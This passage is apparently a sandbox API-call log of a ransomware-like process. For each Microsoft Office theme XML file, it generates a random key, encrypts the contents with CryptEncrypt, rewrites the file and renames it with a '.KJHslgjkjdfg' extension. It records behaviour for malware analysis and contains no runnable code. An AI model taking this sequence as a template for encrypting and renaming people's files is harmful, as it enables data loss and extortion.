hHeap=0x2a0000) returned 1 [0197.332] GetProcessHeap () returned 0x2a0000 [0197.332] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.kjhslgjkjdfg")) returned 1 [0197.334] CloseHandle (hObject=0xf0) returned 1 [0197.334] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0197.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.335] GetProcessHeap () returned 0x2a0000 [0197.335] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.335] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.335] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.335] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0197.466] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.466] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.466] GetProcessHeap () returned 0x2a0000 [0197.466] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.466] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0197.466] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.466] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0197.466] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.466] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.466] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.466] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.467] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.467] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.467] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.467] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x39f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x39f, lpOverlapped=0x0) returned 1 [0197.467] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0) returned 1 [0197.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.467] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a0, lpOverlapped=0x0) returned 1 [0197.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.467] SetEndOfFile (hFile=0xf0) returned 1 [0197.469] GetProcessHeap () returned 0x2a0000 [0197.469] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.469] GetProcessHeap () returned 0x2a0000 [0197.469] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.kjhslgjkjdfg")) returned 1 [0197.471] CloseHandle (hObject=0xf0) returned 1 [0197.471] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0197.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.472] GetProcessHeap () returned 0x2a0000 [0197.472] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.472] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.472] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.472] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.472] GetProcessHeap () returned 0x2a0000 [0197.472] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0197.473] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0197.473] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.473] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0197.514] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.514] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.514] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.514] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.514] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.514] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.514] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c0, lpOverlapped=0x0) returned 1 [0197.514] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0197.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.514] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0197.515] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.515] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.515] SetEndOfFile (hFile=0xf0) returned 1 [0197.517] GetProcessHeap () returned 0x2a0000 [0197.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0197.517] GetProcessHeap () returned 0x2a0000 [0197.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.kjhslgjkjdfg")) returned 1 [0197.518] CloseHandle (hObject=0xf0) returned 1 [0197.519] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0197.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.520] GetProcessHeap () returned 0x2a0000 [0197.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.520] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.520] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0197.530] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.530] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.530] GetProcessHeap () returned 0x2a0000 [0197.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.530] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0197.530] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.530] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0197.530] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.530] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.530] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.530] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.530] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.530] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.530] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x39e, lpOverlapped=0x0) returned 1 [0197.531] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0) returned 1 [0197.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.531] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a0, lpOverlapped=0x0) returned 1 [0197.531] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.531] SetEndOfFile (hFile=0xf0) returned 1 [0197.534] GetProcessHeap () returned 0x2a0000 [0197.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.536] GetProcessHeap () returned 0x2a0000 [0197.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.kjhslgjkjdfg")) returned 1 [0197.538] CloseHandle (hObject=0xf0) returned 1 [0197.538] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0197.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.556] GetProcessHeap () returned 0x2a0000 [0197.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.556] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.556] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0198.441] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.441] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.441] GetProcessHeap () returned 0x2a0000 [0198.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.442] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.442] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.442] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.442] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.442] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.442] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.442] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.442] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.442] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.442] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c4, lpOverlapped=0x0) returned 1 [0198.442] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.442] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.443] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.443] SetEndOfFile (hFile=0xf0) returned 1 [0198.466] GetProcessHeap () returned 0x2a0000 [0198.467] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.467] GetProcessHeap () returned 0x2a0000 [0198.467] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.kjhslgjkjdfg")) returned 1 [0198.469] CloseHandle (hObject=0xf0) returned 1 [0198.469] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0198.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.471] GetProcessHeap () returned 0x2a0000 [0198.471] RtlAllocateHeap (HeapHandle=0x2a0000, 